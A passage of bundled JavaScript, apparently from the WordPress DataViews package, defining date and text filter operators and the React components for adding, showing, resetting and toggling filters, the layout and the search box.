12635 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is on or before: 2024-01-01". */
12636 (0, import_i18n29.__)(
12637 "<Name>%1$s is on or before: </Name><Value>%2$s</Value>"
12638 ),
12639 filter.name,
12640 activeElements[0].label
12641 ),
12642 filterTextWrappers
12643 ),
12644 filter(item, field, filterValue) {
12645 if (filterValue === void 0) {
12646 return true;
12647 }
12648 const filterDate = (0, import_date.getDate)(filterValue);
12649 const fieldDate = (0, import_date.getDate)(field.getValue({ item }));
12650 return fieldDate <= filterDate;
12651 },
12652 selection: "single"
12653 },
12654 {
12655 name: OPERATOR_AFTER_INC,
12656 /* translators: DataViews operator name */
12657 label: (0, import_i18n29.__)("After (inc)"),
12658 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12659 (0, import_i18n29.sprintf)(
12660 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is on or after: 2024-01-01". */
12661 (0, import_i18n29.__)(
12662 "<Name>%1$s is on or after: </Name><Value>%2$s</Value>"
12663 ),
12664 filter.name,
12665 activeElements[0].label
12666 ),
12667 filterTextWrappers
12668 ),
12669 filter(item, field, filterValue) {
12670 if (filterValue === void 0) {
12671 return true;
12672 }
12673 const filterDate = (0, import_date.getDate)(filterValue);
12674 const fieldDate = (0, import_date.getDate)(field.getValue({ item }));
12675 return fieldDate >= filterDate;
12676 },
12677 selection: "single"
12678 },
12679 {
12680 name: OPERATOR_CONTAINS,
12681 /* translators: DataViews operator name */
12682 label: (0, import_i18n29.__)("Contains"),
12683 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12684 (0, import_i18n29.sprintf)(
12685 /* translators: 1: Filter name (e.g. "Title"). 2: Filter value (e.g. "Hello"): "Title contains: Hello". */
12686 (0, import_i18n29.__)("<Name>%1$s contains: </Name><Value>%2$s</Value>"),
12687 filter.name,
12688 activeElements[0].label
12689 ),
12690 filterTextWrappers
12691 ),
12692 filter(item, field, filterValue) {
12693 if (filterValue === void 0) {
12694 return true;
12695 }
12696 const fieldValue = field.getValue({ item });
12697 return typeof fieldValue === "string" && filterValue && fieldValue.toLowerCase().includes(String(filterValue).toLowerCase());
12698 },
12699 selection: "single"
12700 },
12701 {
12702 name: OPERATOR_NOT_CONTAINS,
12703 /* translators: DataViews operator name */
12704 label: (0, import_i18n29.__)("Doesn't contain"),
12705 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12706 (0, import_i18n29.sprintf)(
12707 /* translators: 1: Filter name (e.g. "Title"). 2: Filter value (e.g. "Hello"): "Title doesn't contain: Hello". */
12708 (0, import_i18n29.__)(
12709 "<Name>%1$s doesn't contain: </Name><Value>%2$s</Value>"
12710 ),
12711 filter.name,
12712 activeElements[0].label
12713 ),
12714 filterTextWrappers
12715 ),
12716 filter(item, field, filterValue) {
12717 if (filterValue === void 0) {
12718 return true;
12719 }
12720 const fieldValue = field.getValue({ item });
12721 return typeof fieldValue === "string" && filterValue && !fieldValue.toLowerCase().includes(String(filterValue).toLowerCase());
12722 },
12723 selection: "single"
12724 },
12725 {
12726 name: OPERATOR_STARTS_WITH,
12727 /* translators: DataViews operator name */
12728 label: (0, import_i18n29.__)("Starts with"),
12729 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12730 (0, import_i18n29.sprintf)(
12731 /* translators: 1: Filter name (e.g. "Title"). 2: Filter value (e.g. "Hello"): "Title starts with: Hello". */
12732 (0, import_i18n29.__)("<Name>%1$s starts with: </Name><Value>%2$s</Value>"),
12733 filter.name,
12734 activeElements[0].label
12735 ),
12736 filterTextWrappers
12737 ),
12738 filter(item, field, filterValue) {
12739 if (filterValue === void 0) {
12740 return true;
12741 }
12742 const fieldValue = field.getValue({ item });
12743 return typeof fieldValue === "string" && filterValue && fieldValue.toLowerCase().startsWith(String(filterValue).toLowerCase());
12744 },
12745 selection: "single"
12746 },
12747 {
12748 name: OPERATOR_ON,
12749 /* translators: DataViews operator name */
12750 label: (0, import_i18n29.__)("On"),
12751 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12752 (0, import_i18n29.sprintf)(
12753 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is: 2024-01-01". */
12754 (0, import_i18n29.__)("<Name>%1$s is: </Name><Value>%2$s</Value>"),
12755 filter.name,
12756 activeElements[0].label
12757 ),
12758 filterTextWrappers
12759 ),
12760 filter(item, field, filterValue) {
12761 if (filterValue === void 0) {
12762 return true;
12763 }
12764 const filterDate = (0, import_date.getDate)(filterValue);
12765 const fieldDate = (0, import_date.getDate)(field.getValue({ item }));
12766 return filterDate.getTime() === fieldDate.getTime();
12767 },
12768 selection: "single"
12769 },
12770 {
12771 name: OPERATOR_NOT_ON,
12772 /* translators: DataViews operator name */
12773 label: (0, import_i18n29.__)("Not on"),
12774 filterText: (filter, activeElements) => (0, import_element27.createInterpolateElement)(
12775 (0, import_i18n29.sprintf)(
12776 /* translators: 1: Filter name (e.g. "Date"). 2: Filter value (e.g. "2024-01-01"): "Date is not: 2024-01-01". */
12777 (0, import_i18n29.__)("<Name>%1$s is not: </Name><Value>%2$s</Value>"),
12778 filter.name,
12779 activeElements[0].label
12780 ),
12781 filterTextWrappers
12782 ),
12783 filter(item, field, filterValue) {
12784 if (filterValue === void 0) {
12785 return true;
12786 }
12787 const filterDate = (0, import_date.getDate)(filterValue);
12788 const fieldDate = (0, import_date.getDate)(field.getValue({ item }));
12789 return filterDate.getTime() !== fieldDate.getTime();
12790 },
12791 selection: "single"
12792 }
12793 ];
12794 var getOperatorByName = (name) => OPERATORS.find((op) => op.name === name);
12795 var getAllOperatorNames = () => OPERATORS.map((op) => op.name);
12796 var isSingleSelectionOperator = (name) => OPERATORS.filter((op) => op.selection === "single").some(
12797 (op) => op.name === name
12798 );
12799 var isRegisteredOperator = (name) => OPERATORS.some((op) => op.name === name);
12800
12801 // packages/dataviews/build-module/components/dataviews-filters/filter.mjs
12802 var import_jsx_runtime63 = __toESM(require_jsx_runtime(), 1);
12803 var ENTER = "Enter";
12804 var SPACE = " ";
12805 var FilterText = ({
12806 activeElements,
12807 filterInView,
12808 filter
12809 }) => {
12810 if (activeElements === void 0 || activeElements.length === 0) {
12811 return filter.name;
12812 }
12813 const operator = getOperatorByName(filterInView?.operator);
12814 if (operator !== void 0) {
12815 return operator.filterText(filter, activeElements);
12816 }
12817 return (0, import_i18n30.sprintf)(
12818 /* translators: 1: Filter name e.g.: "Unknown status for Author". */
12819 (0, import_i18n30.__)("Unknown status for %1$s"),
12820 filter.name
12821 );
12822 };
12823 function OperatorSelector({
12824 filter,
12825 view,
12826 onChangeView
12827 }) {
12828 const operatorOptions = filter.operators?.map((operator) => ({
12829 value: operator,
12830 label: getOperatorByName(operator)?.label || operator
12831 }));
12832 const currentFilter = view.filters?.find(
12833 (_filter) => _filter.field === filter.field
12834 );
12835 const value = currentFilter?.operator || filter.operators[0];
12836 return operatorOptions.length > 1 && /* @__PURE__ */ (0, import_jsx_runtime63.jsxs)(
12837 Stack,
12838 {
12839 direction: "row",
12840 gap: "sm",
12841 justify: "flex-start",
12842 className: "dataviews-filters__summary-operators-container",
12843 align: "center",
12844 children: [
12845 /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_components21.FlexItem, { className: "dataviews-filters__summary-operators-filter-name", children: filter.name }),
12846 /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(
12847 import_components21.SelectControl,
12848 {
12849 className: "dataviews-filters__summary-operators-filter-select",
12850 label: (0, import_i18n30.__)("Conditions"),
12851 value,
12852 options: operatorOptions,
12853 onChange: (newValue) => {
12854 const newOperator = newValue;
12855 const currentOperator = currentFilter?.operator;
12856 const newFilters = currentFilter ? [
12857 ...(view.filters ?? []).map(
12858 (_filter) => {
12859 if (_filter.field === filter.field) {
12860 const currentOpSelectionModel = getOperatorByName(
12861 currentOperator
12862 )?.selection;
12863 const newOpSelectionModel = getOperatorByName(
12864 newOperator
12865 )?.selection;
12866 const shouldResetValue = currentOpSelectionModel !== newOpSelectionModel || [
12867 currentOpSelectionModel,
12868 newOpSelectionModel
12869 ].includes("custom");
12870 return {
12871 ..._filter,
12872 value: shouldResetValue ? void 0 : _filter.value,
12873 operator: newOperator
12874 };
12875 }
12876 return _filter;
12877 }
12878 )
12879 ] : [
12880 ...view.filters ?? [],
12881 {
12882 field: filter.field,
12883 operator: newOperator,
12884 value: void 0
12885 }
12886 ];
12887 onChangeView({
12888 ...view,
12889 page: 1,
12890 filters: newFilters
12891 });
12892 },
12893 size: "small",
12894 variant: "minimal",
12895 hideLabelFromVision: true
12896 }
12897 )
12898 ]
12899 }
12900 );
12901 }
12902 function Filter({
12903 addFilterRef,
12904 openedFilter,
12905 fields,
12906 ...commonProps
12907 }) {
12908 const toggleRef = (0, import_element28.useRef)(null);
12909 const { filter, view, onChangeView } = commonProps;
12910 const filterInView = view.filters?.find(
12911 (f2) => f2.field === filter.field
12912 );
12913 let activeElements = [];
12914 const field = (0, import_element28.useMemo)(() => {
12915 const currentField = fields.find((f2) => f2.id === filter.field);
12916 if (currentField) {
12917 return {
12918 ...currentField,
12919 // Configure getValue as if Item was a plain object.
12920 // See related input-widget.tsx
12921 getValue: ({ item }) => item[currentField.id]
12922 };
12923 }
12924 return currentField;
12925 }, [fields, filter.field]);
12926 const { elements } = useElements({
12927 elements: filter.elements,
12928 getElements: filter.getElements
12929 });
12930 if (elements.length > 0) {
12931 activeElements = elements.filter((element) => {
12932 if (filter.singleSelection) {
12933 return element.value === filterInView?.value;
12934 }
12935 return filterInView?.value?.includes(element.value);
12936 });
12937 } else if (Array.isArray(filterInView?.value)) {
12938 const label = filterInView.value.map((v2) => {
12939 const formattedValue = field?.getValueFormatted({
12940 item: { [field.id]: v2 },
12941 field
12942 });
12943 return formattedValue || String(v2);
12944 });
12945 activeElements = [
12946 {
12947 value: filterInView.value,
12948 // @ts-ignore
12949 label
12950 }
12951 ];
12952 } else if (typeof filterInView?.value === "object") {
12953 activeElements = [
12954 { value: filterInView.value, label: filterInView.value }
12955 ];
12956 } else if (filterInView?.value !== void 0) {
12957 const label = field !== void 0 ? field.getValueFormatted({
12958 item: { [field.id]: filterInView.value },
12959 field
12960 }) : String(filterInView.value);
12961 activeElements = [
12962 {
12963 value: filterInView.value,
12964 label
12965 }
12966 ];
12967 }
12968 const isPrimary = filter.isPrimary;
12969 const isLocked = filterInView?.isLocked;
12970 const hasValues = !isLocked && filterInView?.value !== void 0;
12971 const canResetOrRemove = !isLocked && (!isPrimary || hasValues);
12972 return /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(
12973 import_components21.Dropdown,
12974 {
12975 defaultOpen: openedFilter === filter.field,
12976 contentClassName: "dataviews-filters__summary-popover",
12977 popoverProps: { placement: "bottom-start", role: "dialog" },
12978 onClose: () => {
12979 toggleRef.current?.focus();
12980 },
12981 renderToggle: ({ isOpen, onToggle }) => /* @__PURE__ */ (0, import_jsx_runtime63.jsxs)("div", { className: "dataviews-filters__summary-chip-container", children: [
12982 /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(
12983 import_components21.Tooltip,
12984 {
12985 text: (0, import_i18n30.sprintf)(
12986 /* translators: 1: Filter name. */
12987 (0, import_i18n30.__)("Filter by: %1$s"),
12988 filter.name.toLowerCase()
12989 ),
12990 placement: "top",
12991 children: /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(
12992 "div",
12993 {
12994 className: clsx_default(
12995 "dataviews-filters__summary-chip",
12996 {
12997 "has-reset": canResetOrRemove,
12998 "has-values": hasValues,
12999 "is-not-clickable": isLocked
13000 }
13001 ),
13002 role: "button",
13003 tabIndex: isLocked ? -1 : 0,
13004 onClick: () => {
13005 if (!isLocked) {
13006 onToggle();
13007 }
13008 },
13009 onKeyDown: (event) => {
13010 if (!isLocked && [ENTER, SPACE].includes(event.key)) {
13011 onToggle();
13012 event.preventDefault();
13013 }
13014 },
13015 "aria-disabled": isLocked,
13016 "aria-pressed": isOpen,
13017 "aria-expanded": isOpen,
13018 ref: toggleRef,
13019 children: /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(
13020 FilterText,
13021 {
13022 activeElements,
13023 filterInView,
13024 filter
13025 }
13026 )
13027 }
13028 )
13029 }
13030 ),
13031 canResetOrRemove && /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(
13032 import_components21.Tooltip,
13033 {
13034 text: isPrimary ? (0, import_i18n30.__)("Reset") : (0, import_i18n30.__)("Remove"),
13035 placement: "top",
13036 children: /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(
13037 "button",
13038 {
13039 className: clsx_default(
13040 "dataviews-filters__summary-chip-remove",
13041 { "has-values": hasValues }
13042 ),
13043 onClick: () => {
13044 onChangeView({
13045 ...view,
13046 page: 1,
13047 filters: view.filters?.filter(
13048 (_filter) => _filter.field !== filter.field
13049 )
13050 });
13051 if (!isPrimary) {
13052 addFilterRef.current?.focus();
13053 } else {
13054 toggleRef.current?.focus();
13055 }
13056 },
13057 children: /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(import_components21.Icon, { icon: close_small_default })
13058 }
13059 )
13060 }
13061 )
13062 ] }),
13063 renderContent: () => {
13064 return /* @__PURE__ */ (0, import_jsx_runtime63.jsxs)(Stack, { direction: "column", justify: "flex-start", children: [
13065 /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(OperatorSelector, { ...commonProps }),
13066 commonProps.filter.hasElements ? /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(
13067 SearchWidget,
13068 {
13069 ...commonProps,
13070 filter: {
13071 ...commonProps.filter,
13072 elements
13073 }
13074 }
13075 ) : /* @__PURE__ */ (0, import_jsx_runtime63.jsx)(InputWidget, { ...commonProps, fields })
13076 ] });
13077 }
13078 }
13079 );
13080 }
13081
13082 // packages/dataviews/build-module/components/dataviews-filters/add-filter.mjs
13083 var import_components22 = __toESM(require_components(), 1);
13084 var import_i18n31 = __toESM(require_i18n(), 1);
13085 var import_element29 = __toESM(require_element(), 1);
13086 var import_jsx_runtime64 = __toESM(require_jsx_runtime(), 1);
13087 var { Menu: Menu4 } = unlock(import_components22.privateApis);
13088 function AddFilterMenu({
13089 filters,
13090 view,
13091 onChangeView,
13092 setOpenedFilter,
13093 triggerProps
13094 }) {
13095 const inactiveFilters = filters.filter((filter) => !filter.isVisible);
13096 return /* @__PURE__ */ (0, import_jsx_runtime64.jsxs)(Menu4, { children: [
13097 /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(Menu4.TriggerButton, { ...triggerProps }),
13098 /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(Menu4.Popover, { children: inactiveFilters.map((filter) => {
13099 return /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(
13100 Menu4.Item,
13101 {
13102 onClick: () => {
13103 setOpenedFilter(filter.field);
13104 onChangeView({
13105 ...view,
13106 page: 1,
13107 filters: [
13108 ...view.filters || [],
13109 {
13110 field: filter.field,
13111 value: void 0,
13112 operator: filter.operators[0]
13113 }
13114 ]
13115 });
13116 },
13117 children: /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(Menu4.ItemLabel, { children: filter.name })
13118 },
13119 filter.field
13120 );
13121 }) })
13122 ] });
13123 }
13124 function AddFilter({ filters, view, onChangeView, setOpenedFilter }, ref) {
13125 if (!filters.length || filters.every(({ isPrimary }) => isPrimary)) {
13126 return null;
13127 }
13128 const inactiveFilters = filters.filter((filter) => !filter.isVisible);
13129 return /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(
13130 AddFilterMenu,
13131 {
13132 triggerProps: {
13133 render: /* @__PURE__ */ (0, import_jsx_runtime64.jsx)(
13134 import_components22.Button,
13135 {
13136 accessibleWhenDisabled: true,
13137 size: "compact",
13138 className: "dataviews-filters-button",
13139 variant: "tertiary",
13140 disabled: !inactiveFilters.length,
13141 ref
13142 }
13143 ),
13144 children: (0, import_i18n31.__)("Add filter")
13145 },
13146 ...{ filters, view, onChangeView, setOpenedFilter }
13147 }
13148 );
13149 }
13150 var add_filter_default = (0, import_element29.forwardRef)(AddFilter);
13151
13152 // packages/dataviews/build-module/components/dataviews-filters/reset-filters.mjs
13153 var import_components23 = __toESM(require_components(), 1);
13154 var import_i18n32 = __toESM(require_i18n(), 1);
13155 var import_jsx_runtime65 = __toESM(require_jsx_runtime(), 1);
13156 function ResetFilter({
13157 filters,
13158 view,
13159 onChangeView
13160 }) {
13161 const isPrimary = (field) => filters.some(
13162 (_filter) => _filter.field === field && _filter.isPrimary
13163 );
13164 const isDisabled = !view.search && !view.filters?.some(
13165 (_filter) => !_filter.isLocked && (_filter.value !== void 0 || !isPrimary(_filter.field))
13166 );
13167 return /* @__PURE__ */ (0, import_jsx_runtime65.jsx)(
13168 import_components23.Button,
13169 {
13170 disabled: isDisabled,
13171 accessibleWhenDisabled: true,
13172 size: "compact",
13173 variant: "tertiary",
13174 className: "dataviews-filters__reset-button",
13175 onClick: () => {
13176 onChangeView({
13177 ...view,
13178 page: 1,
13179 search: "",
13180 filters: view.filters?.filter((f2) => !!f2.isLocked) || []
13181 });
13182 },
13183 children: (0, import_i18n32.__)("Reset")
13184 }
13185 );
13186 }
13187
13188 // packages/dataviews/build-module/components/dataviews-filters/use-filters.mjs
13189 var import_element30 = __toESM(require_element(), 1);
13190 function useFilters(fields, view) {
13191 return (0, import_element30.useMemo)(() => {
13192 const filters = [];
13193 fields.forEach((field) => {
13194 if (field.filterBy === false || !field.hasElements && !field.Edit) {
13195 return;
13196 }
13197 const operators = field.filterBy.operators;
13198 const isPrimary = !!field.filterBy?.isPrimary;
13199 const isLocked = view.filters?.some(
13200 (f2) => f2.field === field.id && !!f2.isLocked
13201 ) ?? false;
13202 filters.push({
13203 field: field.id,
13204 name: field.label,
13205 elements: field.elements,
13206 getElements: field.getElements,
13207 hasElements: field.hasElements,
13208 singleSelection: operators.some(
13209 (op) => isSingleSelectionOperator(op)
13210 ),
13211 operators,
13212 isVisible: isLocked || isPrimary || !!view.filters?.some(
13213 (f2) => f2.field === field.id && isRegisteredOperator(f2.operator)
13214 ),
13215 isPrimary,
13216 isLocked
13217 });
13218 });
13219 filters.sort((a2, b2) => {
13220 if (a2.isLocked && !b2.isLocked) {
13221 return -1;
13222 }
13223 if (!a2.isLocked && b2.isLocked) {
13224 return 1;
13225 }
13226 if (a2.isPrimary && !b2.isPrimary) {
13227 return -1;
13228 }
13229 if (!a2.isPrimary && b2.isPrimary) {
13230 return 1;
13231 }
13232 return a2.name.localeCompare(b2.name);
13233 });
13234 return filters;
13235 }, [fields, view]);
13236 }
13237 var use_filters_default = useFilters;
13238
13239 // packages/dataviews/build-module/components/dataviews-filters/filters.mjs
13240 var import_jsx_runtime66 = __toESM(require_jsx_runtime(), 1);
13241 function Filters({ className }) {
13242 const { fields, view, onChangeView, openedFilter, setOpenedFilter } = (0, import_element31.useContext)(dataviews_context_default);
13243 const addFilterRef = (0, import_element31.useRef)(null);
13244 const filters = use_filters_default(fields, view);
13245 const addFilter = /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(
13246 add_filter_default,
13247 {
13248 filters,
13249 view,
13250 onChangeView,
13251 ref: addFilterRef,
13252 setOpenedFilter
13253 },
13254 "add-filter"
13255 );
13256 const visibleFilters = filters.filter((filter) => filter.isVisible);
13257 if (visibleFilters.length === 0) {
13258 return null;
13259 }
13260 const filterComponents = [
13261 ...visibleFilters.map((filter) => {
13262 return /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(
13263 Filter,
13264 {
13265 filter,
13266 view,
13267 fields,
13268 onChangeView,
13269 addFilterRef,
13270 openedFilter
13271 },
13272 filter.field
13273 );
13274 }),
13275 addFilter
13276 ];
13277 filterComponents.push(
13278 /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(
13279 ResetFilter,
13280 {
13281 filters,
13282 view,
13283 onChangeView
13284 },
13285 "reset-filters"
13286 )
13287 );
13288 return /* @__PURE__ */ (0, import_jsx_runtime66.jsx)(
13289 Stack,
13290 {
13291 direction: "row",
13292 justify: "flex-start",
13293 gap: "sm",
13294 style: { width: "fit-content" },
13295 wrap: "wrap",
13296 className,
13297 children: filterComponents
13298 }
13299 );
13300 }
13301 var filters_default = (0, import_element31.memo)(Filters);
13302
13303 // packages/dataviews/build-module/components/dataviews-filters/toggle.mjs
13304 var import_element32 = __toESM(require_element(), 1);
13305 var import_components24 = __toESM(require_components(), 1);
13306 var import_i18n33 = __toESM(require_i18n(), 1);
13307 var import_jsx_runtime67 = __toESM(require_jsx_runtime(), 1);
13308 function FiltersToggle() {
13309 const {
13310 filters,
13311 view,
13312 onChangeView,
13313 setOpenedFilter,
13314 isShowingFilter,
13315 setIsShowingFilter
13316 } = (0, import_element32.useContext)(dataviews_context_default);
13317 const buttonRef = (0, import_element32.useRef)(null);
13318 const onChangeViewWithFilterVisibility = (0, import_element32.useCallback)(
13319 (_view) => {
13320 onChangeView(_view);
13321 setIsShowingFilter(true);
13322 },
13323 [onChangeView, setIsShowingFilter]
13324 );
13325 if (filters.length === 0) {
13326 return null;
13327 }
13328 const hasVisibleFilters = filters.some((filter) => filter.isVisible);
13329 const addFilterButtonProps = {
13330 label: (0, import_i18n33.__)("Add filter"),
13331 "aria-expanded": false,
13332 isPressed: false
13333 };
13334 const toggleFiltersButtonProps = {
13335 label: (0, import_i18n33._x)("Filter", "verb"),
13336 "aria-expanded": isShowingFilter,
13337 isPressed: isShowingFilter,
13338 onClick: () => {
13339 if (!isShowingFilter) {
13340 setOpenedFilter(null);
13341 }
13342 setIsShowingFilter(!isShowingFilter);
13343 }
13344 };
13345 const hasPrimaryOrLockedFilters = filters.some(
13346 (filter) => filter.isPrimary || filter.isLocked
13347 );
13348 const buttonComponent = /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(
13349 import_components24.Button,
13350 {
13351 ref: buttonRef,
13352 className: "dataviews-filters__visibility-toggle",
13353 size: "compact",
13354 icon: funnel_default,
13355 disabled: hasPrimaryOrLockedFilters,
13356 accessibleWhenDisabled: true,
13357 ...hasVisibleFilters ? toggleFiltersButtonProps : addFilterButtonProps
13358 }
13359 );
13360 return /* @__PURE__ */ (0, import_jsx_runtime67.jsx)("div", { className: "dataviews-filters__container-visibility-toggle", children: !hasVisibleFilters ? /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(
13361 AddFilterMenu,
13362 {
13363 filters,
13364 view,
13365 onChangeView: onChangeViewWithFilterVisibility,
13366 setOpenedFilter,
13367 triggerProps: { render: buttonComponent }
13368 }
13369 ) : /* @__PURE__ */ (0, import_jsx_runtime67.jsx)(
13370 FilterVisibilityToggle,
13371 {
13372 buttonRef,
13373 filtersCount: view.filters?.length,
13374 children: buttonComponent
13375 }
13376 ) });
13377 }
13378 function FilterVisibilityToggle({
13379 buttonRef,
13380 filtersCount,
13381 children
13382 }) {
13383 (0, import_element32.useEffect)(
13384 () => () => {
13385 buttonRef.current?.focus();
13386 },
13387 [buttonRef]
13388 );
13389 return /* @__PURE__ */ (0, import_jsx_runtime67.jsxs)(import_jsx_runtime67.Fragment, { children: [
13390 children,
13391 !!filtersCount && /* @__PURE__ */ (0, import_jsx_runtime67.jsx)("span", { className: "dataviews-filters-toggle__count", children: filtersCount })
13392 ] });
13393 }
13394 var toggle_default = FiltersToggle;
13395
13396 // packages/dataviews/build-module/components/dataviews-filters/filters-toggled.mjs
13397 var import_element33 = __toESM(require_element(), 1);
13398 var import_jsx_runtime68 = __toESM(require_jsx_runtime(), 1);
13399 function FiltersToggled(props) {
13400 const { isShowingFilter } = (0, import_element33.useContext)(dataviews_context_default);
13401 if (!isShowingFilter) {
13402 return null;
13403 }
13404 return /* @__PURE__ */ (0, import_jsx_runtime68.jsx)(filters_default, { ...props });
13405 }
13406 var filters_toggled_default = FiltersToggled;
13407
13408 // packages/dataviews/build-module/components/dataviews-layout/index.mjs
13409 var import_element34 = __toESM(require_element(), 1);
13410 var import_components25 = __toESM(require_components(), 1);
13411 var import_i18n34 = __toESM(require_i18n(), 1);
13412 var import_jsx_runtime69 = __toESM(require_jsx_runtime(), 1);
13413 function DataViewsLayout({ className }) {
13414 const {
13415 actions = [],
13416 data,
13417 fields,
13418 getItemId,
13419 getItemLevel,
13420 hasInitiallyLoaded,
13421 isLoading,
13422 view,
13423 onChangeView,
13424 selection,
13425 onChangeSelection,
13426 setOpenedFilter,
13427 onClickItem,
13428 isItemClickable: isItemClickable2,
13429 renderItemLink,
13430 defaultLayouts,
13431 empty = /* @__PURE__ */ (0, import_jsx_runtime69.jsx)("p", { children: (0, import_i18n34.__)("No results") })
13432 } = (0, import_element34.useContext)(dataviews_context_default);
13433 const isDelayedInitialLoading = useDelayedLoading(!hasInitiallyLoaded, {
13434 delay: 200
13435 });
13436 if (!hasInitiallyLoaded) {
13437 if (!isDelayedInitialLoading) {
13438 return null;
13439 }
13440 return /* @__PURE__ */ (0, import_jsx_runtime69.jsx)("div", { className: "dataviews-loading", children: /* @__PURE__ */ (0, import_jsx_runtime69.jsx)("p", { children: /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(import_components25.Spinner, {}) }) });
13441 }
13442 const ViewComponent = VIEW_LAYOUTS.find(
13443 (v2) => v2.type === view.type && defaultLayouts[v2.type]
13444 )?.component;
13445 return /* @__PURE__ */ (0, import_jsx_runtime69.jsx)(
13446 ViewComponent,
13447 {
13448 className,
13449 actions,
13450 data,
13451 fields,
13452 getItemId,
13453 getItemLevel,
13454 isLoading,
13455 onChangeView,
13456 onChangeSelection,
13457 selection,
13458 setOpenedFilter,
13459 onClickItem,
13460 renderItemLink,
13461 isItemClickable: isItemClickable2,
13462 view,
13463 empty
13464 }
13465 );
13466 }
13467
13468 // packages/dataviews/build-module/components/dataviews-search/index.mjs
13469 var import_i18n35 = __toESM(require_i18n(), 1);
13470 var import_element35 = __toESM(require_element(), 1);
13471 var import_components26 = __toESM(require_components(), 1);
13472 var import_compose10 = __toESM(require_compose(), 1);
13473 var import_jsx_runtime70 = __toESM(require_jsx_runtime(), 1);
13474 var DataViewsSearch = (0, import_element35.memo)(function Search({ label }) {
13475 const { view, onChangeView } = (0, import_element35.useContext)(dataviews_context_default);
13476 const [search, setSearch, debouncedSearch] = (0, import_compose10.useDebouncedInput)(
13477 view.search
13478 );
13479 (0, import_element35.useEffect)(() => {
13480 setSearch(view.search ?? "");
13481 }, [view.search, setSearch]);
13482 const onChangeViewRef = (0, import_element35.useRef)(onChangeView);
13483 const viewRef = (0, import_element35.useRef)(view);
13484 (0, import_element35.useEffect)(() => {
13485 onChangeViewRef.current = onChangeView;
13486 viewRef.current = view;
13487 }, [onChangeView, view]);
13488 (0, import_element35.useEffect)(() => {
13489 if (debouncedSearch !== viewRef.current?.search) {
13490 onChangeViewRef.current({
13491 ...viewRef.current,
13492 page: 1,
13493 search: debouncedSearch
13494 });
13495 }
13496 }, [debouncedSearch]);
13497 const searchLabel = label || (0, import_i18n35.__)("Search");
13498 return /* @__PURE__ */ (0, import_jsx_runtime70.jsx)(
13499 import_components26.SearchControl,
13500 {
13501 className: "dataviews-search",
13502 onChange: setSearch,
13503 value: search,
13504 label: searchLabel,
13505 placeholder: searchLabel,
13506 size: "compact"
13507 }
13508 );
13509 });
13510 var dataviews_search_default = DataViewsSearch;
13511
13512 // packages/dataviews/build-module/components/dataviews-view-config/index.mjs
13513 var import_components28 = __toESM(require_components(), 1);
13514 var import_i18n37 = __toESM(require_i18n(), 1);
13515 var import_element37 = __toESM(require_element(), 1);
13516 var import_warning = __toESM(require_warning(), 1);
13517 var import_compose11 = __toESM(require_compose(), 1);
13518
13519 // packages/dataviews/build-module/components/dataviews-view-config/infinite-scroll-toggle.mjs
13520 var import_components27 = __toESM(require_components(), 1);
13521 var import_i18n36 = __toESM(require_i18n(), 1);
13522 var import_element36 = __toESM(require_element(), 1);
13523 var import_jsx_runtime71 = __toESM(require_jsx_runtime(), 1);
13524 function InfiniteScrollToggle() {
13525 const context = (0, import_element36.useContext)(dataviews_context_default);
13526 const { view, onChangeView } = context;
13527 const infiniteScrollEnabled = view.infiniteScrollEnabled ?? false;
13528 if (!context.hasInfiniteScrollHandler) {
13529 return null;
13530 }
13531 return /* @__PURE__ */ (0, import_jsx_runtime71.jsx)(
13532 import_components27.ToggleControl,
13533 {
13534 label: (0, import_i18n36.__)("Enable infinite scroll"),
13535 help: (0, import_i18n36.__)(
13536 "Automatically load more content as you scroll, instead of showing pagination links."
13537 ),
13538 checked: infiniteScrollEnabled,
13539 onChange: (newValue) => {
13540 onChangeView({
13541 ...view,
13542 infiniteScrollEnabled: newValue
13543 });
13544 }
13545 }
13546 );
13547 }
13548
13549 // packages/dataviews/build-module/components/dataviews-view-config/index.mjs
13550 var import_jsx_runtime72 = __toESM(require_jsx_runtime(), 1);
13551 var { Menu: Menu5 } = unlock(import_components28.privateApis);
13552 var DATAVIEWS_CONFIG_POPOVER_PROPS = {
13553 className: "dataviews-config__popover",
13554 placement: "bottom-end",
13555 offset: 9
13556 };
13557 function ViewTypeMenu() {
13558 const { view, onChangeView, defaultLayouts } = (0, import_element37.useContext)(dataviews_context_default);
13559 const availableLayouts = Object.keys(defaultLayouts);
13560 if (availableLayouts.length <= 1) {
13561 return null;
13562 }
13563 const activeView = VIEW_LAYOUTS.find((v2) => view.type === v2.type);
13564 return /* @__PURE__ */ (0, import_jsx_runtime72.jsxs)(Menu5, { children: [
13565 /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13566 Menu5.TriggerButton,
13567 {
13568 render: /* @__PURE__ */ (0, import_jsx_runtime72.jsx)(
13569 import_components28.Button,
13570 {
13571 size: "compact",
13572 icon: activeView?.icon,
